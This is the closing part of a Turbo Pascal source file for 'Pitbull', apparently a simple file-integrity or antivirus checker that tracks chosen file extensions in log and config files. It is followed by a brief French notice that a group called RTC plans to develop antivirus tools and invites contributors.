    writeln('Pitbull''s list :');
    for i:=1 to CfgEntries do begin
      if Cfg[i]^.OK then textcolor(14) else textcolor(6);
      writeln(' -> '+Cfg[i]^.extension);
    end;
    textcolor(7);
    writeln;
    writeln('  <Space>:Ouaf!');
    writeln('  <F1>:Add Extension');
    writeln('  <F2>:Turn on/off Extension');
    writeln('  <F3>:Kill Extension');
    writeln('  <Escape>:Exit');
    repeat cmd:=UpCase(readkey) until cmd in [#32,#59,#60,#61,#27];
    case cmd of
      #27:begin
        rewrite(CfgFile);
        for i:=1 to CfgEntries do write(CfgFile,Cfg[i]^);
        close(CfgFile);
        halt;
      end;
      #59:begin
        repeat
          write('Add extension : ');
          readln(ext);
        until length(ext)=3;
        ext:='*.'+ext;
        if Is_in_list(ext) then begin
          clrscr;
          writeln(ext+' is already in Pitbull''s list.');
          readkey;
          ExitCode:=false;
          Exit;
        end;
        CfgEntries:=CfgEntries+1;
        new(Cfg[CfgEntries]);
        Cfg[CfgEntries]^.extension:=ext;
        Cfg[CfgEntries]^.OK:=true;
        clrscr;
        writeln(ext+' is added to Pitbull''s list.');
        readkey;
      end;
      #61:begin
        repeat
          write('Kill extension : ');
          readln(ext);
        until length(ext)=3;
        ext:='*.'+ext;
        if not Is_in_list(ext) then begin
          clrscr;
          writeln('Pitbull does not know this extension...');
          readkey;
          ExitCode:=false;
          Exit
        end;
        for i:=0 to CfgEntries do if Cfg[i]^.extension=ext then begin
          for j:=i to CfgEntries-1 do Cfg[j]^:=Cfg[j+1]^;
          CfgEntries:=CfgEntries-1;
          clrscr;
          writeln(ext+' are removed from list.');
          readkey;
        end;
      end;
      #60:begin
        repeat
          write('Turn on/off extension : ');
          readln(ext);
        until length(ext)=3;
        ext:='*.'+ext;
        if not Is_in_list(ext) then begin
          clrscr;
          writeln('Pitbull does not know this extension...');
          readkey;
          ExitCode:=false;
          Exit
        end;
        for i:=0 to CfgEntries do if Cfg[i]^.extension=ext then begin
          Cfg[i]^.OK:=not Cfg[i]^.OK;
          clrscr;
          writeln('Ok! Pitbull understands you...');
          readkey;
        end;
      end;
    end;
  until cmd=#32;
  ExitCode:=true;
end;

begin

  assign(LogFile,'\Pitbull.DAT');
  {$I-}
  reset(LogFile);
  {$I+}
  if IOResult<>0 then LogEntries:=0 else begin
    for LogEntries:=1 to FileSize(LogFile) do begin
      new(Log[LogEntries]);
      read(LogFile,Log[LogEntries]^);
    end;
    close(LogFile);
  end;

  assign(CfgFile,'\Pitbull.CFG');
  {$I-}
  reset(CfgFile);
  {$I+}
  if IOResult<>0 then CfgEntries:=0 else begin
    for CfgEntries:=1 to FileSize(CfgFile) do begin
      new(Cfg[CfgEntries]);
      read(CfgFile,Cfg[CfgEntries]^);
    end;
    close(CfgFile);
  end;

  ExitCode:=true;
  repeat Pitbull_wants_work(ExitCode) until ExitCode;

  textcolor(15);
  assign(LstFile,'Pitbull.LST');
  rewrite(LstFile);

  if ParamCount=1 then SearchDir:=ParamStr(1) else SearchDir:='\';
  GetDir(0,CurrDir);
  ChDir(SearchDir);
  if SearchDir[length(SearchDir)]<>'\' then SearchDir:='\';
  check_boot;
  check_dir(SearchDir);
  j:=1;
  while j<=LogEntries do begin
    if Log[j]^.found then j:=j+1 else PurgeFile(j);
  end;
  ChDir(CurrDir);

  rewrite(LogFile);
  for j:=1 to LogEntries do begin
    Log[j]^.found:=false;
    write(LogFile,Log[j]^);
  end;
  close(LogFile);

  rewrite(CfgFile);
  for j:=1 to CfgEntries do write(CfgFile,Cfg[j]^);
  close(CfgFile);

  writeln(LogEntries,' files in the current log file.');
  writeln(LstFile,LogEntries,' files in the current log file.');
  close(LstFile);
end.

--------------------------------CUT HERE--------------------------------

Suites
=======

	la RTC va tenter de dvelopper plusieurs antivirus dans le cadre RTC-AV. Si certain(e)s sont intress(e)s, ils (elles) peuvent joindre la RTC, toujours  la mme adresse. Toutes les propositions seront prises en considration.

				